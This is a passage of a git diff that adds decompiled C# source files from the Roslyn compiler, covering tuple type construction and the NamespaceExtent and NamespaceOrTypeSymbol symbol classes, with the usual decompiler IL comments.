NumberOfValueTuples(elementTypes.Length, out remainder); + NamedTypeSymbol wellKnownType = cSharpCompilation.GetWellKnownType(GetTupleType(remainder)); + if (bindingDiagnosticBag != null && cSharpSyntaxNode != null) + { + ReportUseSiteAndObsoleteDiagnostics(cSharpSyntaxNode, bindingDiagnosticBag, wellKnownType); + } + NamedTypeSymbol namedTypeSymbol3 = null; + if (num > 1) + { + namedTypeSymbol3 = cSharpCompilation.GetWellKnownType(GetTupleType(8)); + if (bindingDiagnosticBag != null && cSharpSyntaxNode != null) + { + ReportUseSiteAndObsoleteDiagnostics(cSharpSyntaxNode, bindingDiagnosticBag, namedTypeSymbol3); + } + } + return ConstructTupleUnderlyingType(wellKnownType, namedTypeSymbol3, elementTypes); + } + } + + public static NamedTypeSymbol CreateTuple(NamedTypeSymbol tupleCompatibleType, ImmutableArray elementNames = default(ImmutableArray), ImmutableArray errorPositions = default(ImmutableArray), ImmutableArray elementLocations = default(ImmutableArray), ImmutableArray locations = default(ImmutableArray)) + { + return tupleCompatibleType.WithElementNames(elementNames, elementLocations, errorPositions, locations); + } + + internal NamedTypeSymbol WithTupleDataFrom(NamedTypeSymbol original) + { + if (!IsTupleType || (original._lazyTupleData == null && _lazyTupleData == null) || TupleData.EqualsIgnoringTupleUnderlyingType(original.TupleData)) + { + return this; + } + return WithElementNames(original.TupleElementNames, original.TupleElementLocations, original.TupleErrorPositions, original.Locations); + } + + internal NamedTypeSymbol WithElementTypes(ImmutableArray newElementTypes) + { + NamedTypeSymbol originalDefinition; + NamedTypeSymbol chainedTupleTypeOpt; + if (Arity < 8) + { + originalDefinition = OriginalDefinition; + chainedTupleTypeOpt = null; + } + else + { + chainedTupleTypeOpt = OriginalDefinition; + NamedTypeSymbol namedTypeSymbol = this; + do + { + namedTypeSymbol = (NamedTypeSymbol)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + } + while (namedTypeSymbol.Arity >= 8); + originalDefinition = namedTypeSymbol.OriginalDefinition; + } + return CreateTuple(ConstructTupleUnderlyingType(originalDefinition, chainedTupleTypeOpt, newElementTypes), TupleElementNames, elementLocations: TupleElementLocations, errorPositions: TupleErrorPositions, locations: Locations); + } + + internal NamedTypeSymbol WithElementNames(ImmutableArray newElementNames, ImmutableArray newElementLocations, ImmutableArray errorPositions, ImmutableArray locations) + { + return WithTupleData(new TupleExtraData(TupleUnderlyingType, newElementNames, newElementLocations, errorPositions, locations)); + } + + private NamedTypeSymbol WithTupleData(TupleExtraData newData) + { + if (newData.EqualsIgnoringTupleUnderlyingType(TupleData)) + { + return this; + } + if (base.IsDefinition) + { + if (newData.ElementNames.IsDefault) + { + return this; + } + return ConstructCore(GetTypeParametersAsTypeArguments(), unbound: false).WithTupleData(newData); + } + return WithTupleDataCore(newData); + } + + protected abstract NamedTypeSymbol WithTupleDataCore(TupleExtraData newData); + + internal static void GetUnderlyingTypeChain(NamedTypeSymbol underlyingTupleType, ArrayBuilder underlyingTupleTypeChain) + { + NamedTypeSymbol namedTypeSymbol = underlyingTupleType; + while (true) + { + underlyingTupleTypeChain.Add(namedTypeSymbol); + if (namedTypeSymbol.Arity == 8) + { + namedTypeSymbol = (NamedTypeSymbol)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + continue; + } + break; + } + } + + private static int NumberOfValueTuples(int numElements, out int remainder) + { + remainder = (numElements - 1) % 7 + 1; + return (numElements - 1) / 7 + 1; + } + + private static NamedTypeSymbol ConstructTupleUnderlyingType(NamedTypeSymbol firstTupleType, NamedTypeSymbol? chainedTupleTypeOpt, ImmutableArray elementTypes) + { + int remainder; + int num = NumberOfValueTuples(elementTypes.Length, out remainder); + NamedTypeSymbol namedTypeSymbol = firstTupleType.Construct(ImmutableArray.Create(elementTypes, (num - 1) * 7, remainder)); + for (int num2 = num - 1; num2 > 0; num2--) + { + ImmutableArray typeArguments = ImmutableArray.Create(elementTypes, (num2 - 1) * 7, 7).Add(TypeWithAnnotations.Create(namedTypeSymbol)); + namedTypeSymbol = chainedTupleTypeOpt.Construct(typeArguments); + } + return namedTypeSymbol; + } + + private static void ReportUseSiteAndObsoleteDiagnostics(CSharpSyntaxNode? syntax, BindingDiagnosticBag diagnostics, NamedTypeSymbol firstTupleType) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + Binder.ReportUseSite(firstTupleType, diagnostics, (SyntaxNode)(object)syntax); + Binder.ReportDiagnosticsIfObsoleteInternal(diagnostics, firstTupleType, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)syntax), firstTupleType.ContainingType, BinderFlags.None); + } + + internal static void VerifyTupleTypePresent(int cardinality, CSharpSyntaxNode? syntax, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + int remainder; + int num = NumberOfValueTuples(cardinality, out remainder); + NamedTypeSymbol wellKnownType = compilation.GetWellKnownType(GetTupleType(remainder)); + ReportUseSiteAndObsoleteDiagnostics(syntax, diagnostics, wellKnownType); + if (num > 1) + { + NamedTypeSymbol wellKnownType2 = compilation.GetWellKnownType(GetTupleType(8)); + ReportUseSiteAndObsoleteDiagnostics(syntax, diagnostics, wellKnownType2); + } + } + + internal static void ReportTupleNamesMismatchesIfAny(TypeSymbol destination, BoundTupleLiteral literal, BindingDiagnosticBag diagnostics) + { + ImmutableArray argumentNamesOpt = literal.ArgumentNamesOpt; + if (argumentNamesOpt.IsDefault) + { + return; + } + ImmutableArray inferredNamesOpt = literal.InferredNamesOpt; + bool isDefault = inferredNamesOpt.IsDefault; + ImmutableArray tupleElementNames = destination.TupleElementNames; + int length = argumentNamesOpt.Length; + bool isDefault2 = tupleElementNames.IsDefault; + for (int i = 0; i < length; i++) + { + string text = argumentNamesOpt[i]; + bool flag = !isDefault && inferredNamesOpt[i]; + if (text != null && !flag && (isDefault2 || string.CompareOrdinal(tupleElementNames[i], text) != 0)) + { + diagnostics.Add(ErrorCode.WRN_TupleLiteralNameMismatch, literal.Arguments[i].Syntax.Parent.Location, text, destination); + } + } + } + + private static WellKnownType GetTupleType(int arity) + { + if (arity > 8) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Tuples/TupleTypeSymbol.cs", 320); + } + return tupleTypes[arity - 1]; + } + + internal static WellKnownMember GetTupleCtor(int arity) + { + if (arity > 8) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Tuples/TupleTypeSymbol.cs", 348); + } + return tupleCtors[arity - 1]; + } + + internal static WellKnownMember GetTupleTypeMember(int arity, int position) + { + return tupleMembers[arity - 1][position - 1]; + } + + internal static string TupleMemberName(int position) + { + return "Item" + position; + } + + internal static int IsTupleElementNameReserved(string name) + { + if (isElementNameForbidden(name)) + { + return 0; + } + return MatchesCanonicalTupleElementName(name); + static bool isElementNameForbidden(string text) + { + switch (text) + { + case "CompareTo": + case "Deconstruct": + case "Equals": + case "GetHashCode": + case "Rest": + case "ToString": + return true; + default: + return false; + } + } + } + + internal static int MatchesCanonicalTupleElementName(string name) + { + if (name.StartsWith("Item", StringComparison.Ordinal) && int.TryParse(name.Substring("Item".Length), out var result) && result > 0 && string.Equals(name, TupleMemberName(result), StringComparison.Ordinal)) + { + return result; + } + return -1; + } + + internal static Symbol? GetWellKnownMemberInType(NamedTypeSymbol type, WellKnownMember relativeMember, BindingDiagnosticBag diagnostics, SyntaxNode? syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol = GetWellKnownMemberInType(type, relativeMember); + if ((object)symbol == null) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(relativeMember); + Binder.Error(diagnostics, ErrorCode.ERR_PredefinedTypeMemberNotFoundInAssembly, SyntaxNodeOrToken.op_Implicit(syntax), descriptor.Name, type, type.ContainingAssembly); + } + else + { + UseSiteInfo val = symbol.GetUseSiteInfo(); + DiagnosticInfo diagnosticInfo = val.DiagnosticInfo; + if (diagnosticInfo == null || (int)diagnosticInfo.Severity != 3) + { + val = val.AdjustDiagnosticInfo((DiagnosticInfo)null); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(val, (Func)((SyntaxNode val2) => ((val2 != null) ? val2.Location : null) ?? Location.None), syntax); + } + return symbol; + static Symbol? GetWellKnownMemberInType(NamedTypeSymbol namedTypeSymbol, WellKnownMember val2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + MemberDescriptor descriptor2 = WellKnownMembers.GetDescriptor(val2); + return CSharpCompilation.GetRuntimeMember(namedTypeSymbol.GetMembers(descriptor2.Name), in descriptor2, (SignatureComparer)(object)CSharpCompilation.SpecialMembersSignatureComparer.Instance, null); + } + } + + public TMember? GetTupleMemberSymbolForUnderlyingMember(TMember? underlyingMemberOpt) where TMember : Symbol + { + if (!IsTupleType) + { + return null; + } + return TupleData.GetTupleMemberSymbolForUnderlyingMember(underlyingMemberOpt); + } + + protected ArrayBuilder MakeSynthesizedTupleMembers(ImmutableArray currentMembers, HashSet? replacedFields = null) + { + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected I4, but got Unknown + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Invalid comparison between Unknown and I4 + //IL_022a: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray tupleElementTypesWithAnnotations = TupleElementTypesWithAnnotations; + ArrayBuilder instance = ArrayBuilder.GetInstance(tupleElementTypesWithAnnotations.Length, false); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(currentMembers.Length); + NamedTypeSymbol namedTypeSymbol = this; + int num = 0; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(namedTypeSymbol.Arity); + collectTargetTupleFields(namedTypeSymbol.Arity, getOriginalFields(currentMembers), instance3); + ImmutableArray tupleElementNames = TupleElementNames; + ImmutableArray elementLocations = TupleData.ElementLocations; + while (true) + { + ImmutableArray.Enumerator enumerator = currentMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + switch (kind - 5) + { + default: + if ((int)kind == 15) + { + continue; + } + break; + case 1: + { + FieldSymbol fieldSymbol = (FieldSymbol)current; + if (fieldSymbol is TupleVirtualElementFieldSymbol) + { + replacedFields?.Add(fieldSymbol); + continue; + } + FieldSymbol fieldSymbol2 = ((fieldSymbol is TupleElementFieldSymbol tupleElementFieldSymbol) ? tupleElementFieldSymbol.UnderlyingField.OriginalDefinition : fieldSymbol.OriginalDefinition); + int num2 = instance3.IndexOf(fieldSymbol2, (IEqualityComparer)ReferenceEqualityComparer.Instance); + if (fieldSymbol2 is TupleErrorFieldSymbol) + { + replacedFields?.Add(fieldSymbol); + } + else if (num2 >= 0) + { + if (num != 0) + { + num2 += 7 * num; + } + else + { + replacedFields?.Add(fieldSymbol); + } + string text = (tupleElementNames.IsDefault ? null : tupleElementNames[num2]); + ImmutableArray locations = getElementLocations(in elementLocations, num2); + string text2 = TupleMemberName(num2 + 1); + bool flag = text != text2; + FieldSymbol underlyingField = fieldSymbol2.AsMember(namedTypeSymbol); + FieldSymbol fieldSymbol3; + if (num != 0) + { + fieldSymbol3 = new TupleVirtualElementFieldSymbol(this, underlyingField, text2, num2, locations, cannotUse: false, flag, null); + instance2.Add((Symbol)fieldSymbol3); + } + else if (base.IsDefinition) + { + fieldSymbol3 = fieldSymbol; + } + else + { + fieldSymbol3 = new TupleElementFieldSymbol(this, underlyingField, num2, locations, flag); + instance2.Add((Symbol)fieldSymbol3); + } + if (flag && !string.IsNullOrEmpty(text)) + { + ImmutableArray tupleErrorPositions = TupleErrorPositions; + bool cannotUse = !tupleErrorPositions.IsDefault && tupleErrorPositions[num2]; + instance2.Add((Symbol)new TupleVirtualElementFieldSymbol(this, underlyingField, text, num2, locations, cannotUse, isImplicitlyDeclared: false, fieldSymbol3)); + } + instance[num2] = true; + } + continue; + } + case 2: + case 3: + case 5: + break; + case 0: + case 4: + case 6: + continue; + } + if (num == 0) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + } + if (namedTypeSymbol.Arity != 8) + { + break; + } + namedTypeSymbol = (NamedTypeSymbol)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + num++; + if (namedTypeSymbol.Arity != 8) + { + currentMembers = namedTypeSymbol.GetMembers(); + instance3.Clear(); + collectTargetTupleFields(namedTypeSymbol.Arity, getOriginalFields(currentMembers), instance3); + } + } + instance3.Free(); + for (int i = 0; i < instance.Count; i++) + { + if (!instance[i]) + { + int remainder; + int num3 = NumberOfValueTuples(i + 1, out remainder); + NamedTypeSymbol originalDefinition = getNestedTupleUnderlyingType(this, num3 - 1).OriginalDefinition; + CSDiagnosticInfo useSiteDiagnosticInfo = (originalDefinition.IsErrorType() ? null : new CSDiagnosticInfo(ErrorCode.ERR_PredefinedTypeMemberNotFoundInAssembly, TupleMemberName(remainder), originalDefinition, originalDefinition.ContainingAssembly)); + string text3 = (tupleElementNames.IsDefault ? null : tupleElementNames[i]); + Location val = (elementLocations.IsDefault ? null : elementLocations[i]); + string text4 = TupleMemberName(i + 1); + bool flag2 = text3 != text4; + TupleErrorFieldSymbol tupleErrorFieldSymbol = new TupleErrorFieldSymbol(this, text4, i, flag2 ? null : val, tupleElementTypesWithAnnotations[i], (DiagnosticInfo)(object)useSiteDiagnosticInfo, flag2, null); + instance2.Add((Symbol)tupleErrorFieldSymbol); + if (flag2 && !string.IsNullOrEmpty(text3)) + { + instance2.Add((Symbol)new TupleErrorFieldSymbol(this, text3, i, val, tupleElementTypesWithAnnotations[i], (DiagnosticInfo)(object)useSiteDiagnosticInfo, isImplicitlyDeclared: false, tupleErrorFieldSymbol)); + } + } + } + instance.Free(); + return instance2; + static void collectTargetTupleFields(int arity, ImmutableArray members, ArrayBuilder fieldsForElements) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + int num4 = Math.Min(arity, 7); + for (int j = 0; j < num4; j++) + { + WellKnownMember tupleTypeMember = GetTupleTypeMember(arity, j + 1); + fieldsForElements.Add((FieldSymbol)getWellKnownMemberInType(members, tupleTypeMember)); + } + } + static ImmutableArray getElementLocations(in ImmutableArray reference, int tupleFieldIndex) + { + if (reference.IsDefault) + { + return ImmutableArray.Empty; + } + Location val2 = reference[tupleFieldIndex]; + if (!(val2 == (Location)null)) + { + return ImmutableArray.Create(val2); + } + return ImmutableArray.Empty; + } + static NamedTypeSymbol getNestedTupleUnderlyingType(NamedTypeSymbol topLevelUnderlyingType, int depth) + { + NamedTypeSymbol namedTypeSymbol2 = topLevelUnderlyingType; + for (int j = 0; j < depth; j++) + { + namedTypeSymbol2 = (NamedTypeSymbol)namedTypeSymbol2.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + } + return namedTypeSymbol2; + } + static ImmutableArray getOriginalFields(ImmutableArray members) + { + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (!(current2 is TupleVirtualElementFieldSymbol)) + { + if (current2 is TupleElementFieldSymbol tupleElementFieldSymbol2) + { + instance4.Add((Symbol)tupleElementFieldSymbol2.UnderlyingField.OriginalDefinition); + } + else if (current2 is FieldSymbol fieldSymbol4) + { + instance4.Add((Symbol)fieldSymbol4.OriginalDefinition); + } + } + } + return instance4.ToImmutableAndFree(); + } + static Symbol? getWellKnownMemberInType(ImmutableArray members, WellKnownMember relativeMember) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return CSharpCompilation.GetRuntimeMember(members, WellKnownMembers.GetDescriptor(relativeMember), (SignatureComparer)(object)CSharpCompilation.SpecialMembersSignatureComparer.Instance, null); + } + } + + private TypeSymbol MergeTupleNames(NamedTypeSymbol other, NamedTypeSymbol mergedType) + { + ImmutableArray tupleElementNames = TupleElementNames; + ImmutableArray tupleElementNames2 = other.TupleElementNames; + ImmutableArray immutableArray; + if (tupleElementNames.IsDefault || tupleElementNames2.IsDefault) + { + immutableArray = default(ImmutableArray); + } + else + { + immutableArray = ImmutableArrayExtensions.ZipAsArray(tupleElementNames, tupleElementNames2, (Func)((string n1, string n2) => (string.CompareOrdinal(n1, n2) != 0) ? null : n1)); + if (immutableArray.All((string n) => n == null)) + { + immutableArray = default(ImmutableArray); + } + } + if (!(immutableArray.IsDefault ? TupleElementNames.IsDefault : immutableArray.SequenceEqual(TupleElementNames)) || !Equals(mergedType, (TypeCompareKind)0)) + { + return CreateTuple(mergedType, immutableArray, TupleErrorPositions, TupleElementLocations, Locations); + } + return this; + } + + static NamedTypeSymbol() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + WellKnownType[] array = new WellKnownType[8]; + RuntimeHelpers.InitializeArray(array, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + tupleTypes = (WellKnownType[])(object)array; + WellKnownMember[] array2 = new WellKnownMember[8]; + RuntimeHelpers.InitializeArray(array2, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + tupleCtors = (WellKnownMember[])(object)array2; + WellKnownMember[][] obj = new WellKnownMember[8][] + { + (WellKnownMember[])(object)new WellKnownMember[1] { (WellKnownMember)308 }, + (WellKnownMember[])(object)new WellKnownMember[2] + { + (WellKnownMember)309, + (WellKnownMember)310 + }, + null, + null, + null, + null, + null, + null + }; + WellKnownMember[] array3 = new WellKnownMember[3]; + RuntimeHelpers.InitializeArray(array3, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[2] = (WellKnownMember[])(object)array3; + WellKnownMember[] array4 = new WellKnownMember[4]; + RuntimeHelpers.InitializeArray(array4, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[3] = (WellKnownMember[])(object)array4; + WellKnownMember[] array5 = new WellKnownMember[5]; + RuntimeHelpers.InitializeArray(array5, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[4] = (WellKnownMember[])(object)array5; + WellKnownMember[] array6 = new WellKnownMember[6]; + RuntimeHelpers.InitializeArray(array6, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[5] = (WellKnownMember[])(object)array6; + WellKnownMember[] array7 = new WellKnownMember[7]; + RuntimeHelpers.InitializeArray(array7, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[6] = (WellKnownMember[])(object)array7; + WellKnownMember[] array8 = new WellKnownMember[8]; + RuntimeHelpers.InitializeArray(array8, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + obj[7] = (WellKnownMember[])(object)array8; + tupleMembers = obj; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceExtent.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceExtent.cs new file mode 100644 index 0000000..293bd0c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceExtent.cs @@ -0,0 +1,104 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal readonly struct NamespaceExtent : IEquatable +{ + private readonly NamespaceKind _kind; + + private readonly object _symbolOrCompilation; + + public NamespaceKind Kind => _kind; + + public ModuleSymbol Module + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)_kind == 1) + { + return (ModuleSymbol)_symbolOrCompilation; + } + throw new InvalidOperationException(); + } + } + + public AssemblySymbol Assembly + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)_kind == 2) + { + return (AssemblySymbol)_symbolOrCompilation; + } + throw new InvalidOperationException(); + } + } + + public CSharpCompilation Compilation + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)_kind == 3) + { + return (CSharpCompilation)_symbolOrCompilation; + } + throw new InvalidOperationException(); + } + } + + public override string ToString() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return $"{_kind}: {_symbolOrCompilation}"; + } + + internal NamespaceExtent(ModuleSymbol module) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _kind = (NamespaceKind)1; + _symbolOrCompilation = module; + } + + internal NamespaceExtent(AssemblySymbol assembly) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _kind = (NamespaceKind)2; + _symbolOrCompilation = assembly; + } + + internal NamespaceExtent(CSharpCompilation compilation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _kind = (NamespaceKind)3; + _symbolOrCompilation = compilation; + } + + public override bool Equals(object obj) + { + if (obj is NamespaceExtent) + { + return Equals((NamespaceExtent)obj); + } + return false; + } + + public bool Equals(NamespaceExtent other) + { + return object.Equals(_symbolOrCompilation, other._symbolOrCompilation); + } + + public override int GetHashCode() + { + if (_symbolOrCompilation != null) + { + return _symbolOrCompilation.GetHashCode(); + } + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceOrTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceOrTypeSymbol.cs new file mode 100644 index 0000000..9155210 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceOrTypeSymbol.cs @@ -0,0 +1,222 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class NamespaceOrTypeSymbol : Symbol, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + protected static readonly ObjectPool, object>> s_nameToObjectPool = PooledDictionary, object>.CreatePool((IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance); + + public bool IsNamespace => (int)Kind == 12; + + public bool IsType => !IsNamespace; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsExtern => false; + + internal NamespaceOrTypeSymbol() + { + } + + public abstract ImmutableArray GetMembers(); + + internal virtual ImmutableArray GetMembersUnordered() + { + return ImmutableArrayExtensions.ConditionallyDeOrder(GetMembers()); + } + + public abstract ImmutableArray GetMembers(string name); + + internal virtual ImmutableArray GetTypeMembersUnordered() + { + return ImmutableArrayExtensions.ConditionallyDeOrder(GetTypeMembers()); + } + + public abstract ImmutableArray GetTypeMembers(); + + public ImmutableArray GetTypeMembers(string name) + { + return GetTypeMembers(name.AsMemory()); + } + + public ImmutableArray GetTypeMembers(string name, int arity) + { + return GetTypeMembers(name.AsMemory(), arity); + } + + public abstract ImmutableArray GetTypeMembers(ReadOnlyMemory name); + + public virtual ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.WhereAsArray(GetTypeMembers(name), (Func)((NamedTypeSymbol t, int num) => t.Arity == num), arity); + } + + internal SourceNamedTypeSymbol? GetSourceTypeMember(TypeDeclarationSyntax syntax) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + return GetSourceTypeMember(((SyntaxToken)(ref identifier)).ValueText, syntax.Arity, syntax.Kind(), syntax); + } + + internal SourceNamedTypeSymbol? GetSourceTypeMember(DelegateDeclarationSyntax syntax) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + return GetSourceTypeMember(((SyntaxToken)(ref identifier)).ValueText, syntax.Arity, syntax.Kind(), syntax); + } + + internal SourceNamedTypeSymbol? GetSourceTypeMember(string name, int arity, SyntaxKind kind, CSharpSyntaxNode syntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + TypeKind val = kind.ToDeclarationKind().ToTypeKind(); + ImmutableArray.Enumerator enumerator = GetTypeMembers(name, arity).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is SourceNamedTypeSymbol sourceNamedTypeSymbol) || sourceNamedTypeSymbol.TypeKind != val) + { + continue; + } + if (syntax != null) + { + ImmutableArray.Enumerator enumerator2 = sourceNamedTypeSymbol.MergedDeclaration.Declarations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SourceLocation nameLocation = enumerator2.Current.NameLocation; + if (((Location)nameLocation).IsInSource && ((Location)nameLocation).SourceTree == syntax.SyntaxTree) + { + TextSpan span = ((SyntaxNode)syntax).Span; + if (((TextSpan)(ref span)).Contains(((Location)nameLocation).SourceSpan)) + { + return sourceNamedTypeSymbol; + } + } + } + continue; + } + return sourceNamedTypeSymbol; + } + return null; + } + + internal virtual NamedTypeSymbol? LookupMetadataType(ref MetadataTypeName emittedTypeName) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + if ((int)Kind == 4) + { + return null; + } + NamedTypeSymbol namedTypeSymbol = null; + bool isNamespace = IsNamespace; + ImmutableArray.Enumerator enumerator; + if (((MetadataTypeName)(ref emittedTypeName)).IsMangled && (((MetadataTypeName)(ref emittedTypeName)).ForcedArity == -1 || ((MetadataTypeName)(ref emittedTypeName)).ForcedArity == ((MetadataTypeName)(ref emittedTypeName)).InferredArity)) + { + enumerator = GetTypeMembers(((MetadataTypeName)(ref emittedTypeName)).UnmangledTypeNameMemory).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (((MetadataTypeName)(ref emittedTypeName)).InferredArity == current.Arity && current.MangleName && ReadOnlyMemoryOfCharComparer.Equals(current.MetadataName.AsSpan(), ((MetadataTypeName)(ref emittedTypeName)).TypeNameMemory)) + { + if ((object)namedTypeSymbol != null) + { + namedTypeSymbol = null; + break; + } + namedTypeSymbol = current; + } + } + } + int num = ((MetadataTypeName)(ref emittedTypeName)).ForcedArity; + if (((MetadataTypeName)(ref emittedTypeName)).UseCLSCompliantNameArityEncoding) + { + if (((MetadataTypeName)(ref emittedTypeName)).InferredArity > 0) + { + goto IL_0127; + } + if (num == -1) + { + num = 0; + } + else if (num != 0) + { + goto IL_0127; + } + } + enumerator = GetTypeMembers(((MetadataTypeName)(ref emittedTypeName)).TypeNameMemory).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current2 = enumerator.Current; + if (!current2.MangleName && (num == -1 || num == current2.Arity) && ReadOnlyMemoryOfCharComparer.Equals(current2.MetadataName.AsSpan(), ((MetadataTypeName)(ref emittedTypeName)).TypeNameMemory)) + { + if ((object)namedTypeSymbol != null) + { + namedTypeSymbol = null; + break; + } + namedTypeSymbol = current2; + } + } + goto IL_0127; + IL_0127: + if (isNamespace && (((MetadataTypeName)(ref emittedTypeName)).ForcedArity == -1 || ((MetadataTypeName)(ref emittedTypeName)).ForcedArity == ((MetadataTypeName)(ref emittedTypeName)).InferredArity)) + { + ReadOnlySpan span = ((MetadataTypeName)(ref emittedTypeName)).TypeNameMemory.Span; + if (span.Length >= 1 && span[0] == '<' && GeneratedNameParser.TryParseFileTypeName(((MetadataTypeName)(ref emittedTypeName)).UnmangledTypeName, out string displayFileName, out byte[] checksum, out string originalTypeName)) + { + enumerator = GetTypeMembers(originalTypeName).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current3 = enumerator.Current; + FileIdentifier associatedFileIdentifier = current3.AssociatedFileIdentifier; + if (associatedFileIdentifier != null 